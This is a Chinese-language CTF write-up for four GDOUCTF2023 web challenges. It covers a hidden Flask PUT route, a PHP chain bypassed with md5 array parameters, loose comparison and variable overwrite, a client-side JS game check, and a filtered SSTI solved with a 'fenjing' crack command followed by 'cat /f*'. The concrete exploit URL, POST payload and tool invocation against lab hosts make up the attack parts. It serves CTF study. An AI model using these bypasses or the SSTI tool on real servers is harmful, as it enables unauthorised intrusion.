GDOUCTF2023

  1. EZ WEB
  2. 受不了一点
  3. hate eat snake
  4. ez_ze

EZ WEB

F12查看源码发现注释中的提示/src,访问后查看源码:

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

put方法访问/super-secret-route-nobody-will-guess获得flag

image-20230416124557867

受不了一点

经典源码套娃题

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(!isset($_GET['flag']) && !isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $f1ag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>

都是很基础的php特性,唯一算是绕点弯的可能出题人失误没用上这个考点,flag直接输出了毫无影响

http://node5.anna.nssctf.cn:28889/?aaa=114514a&bbb=114514&flag=
POST:
gdou[]=1&ctf[]=2

hate eat snake

F12点不动,ctrl+u查看页面源代码,在snake.js中找到获得flag的关键信息,ctrl+s下载网页源代码,将js中的if条件改为永真值本地打开html文件拿到flag。

ez_ze

考查SSTI,过滤了.,_,'等符号,身为一名合格的脚本小子当然是用脚本咯,上payload

python -m fenjing crack --method POST --inputs name --url "http://node1.anna.nssctf.cn:28328/" --action get_flag

之后执行cat /f*拿到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com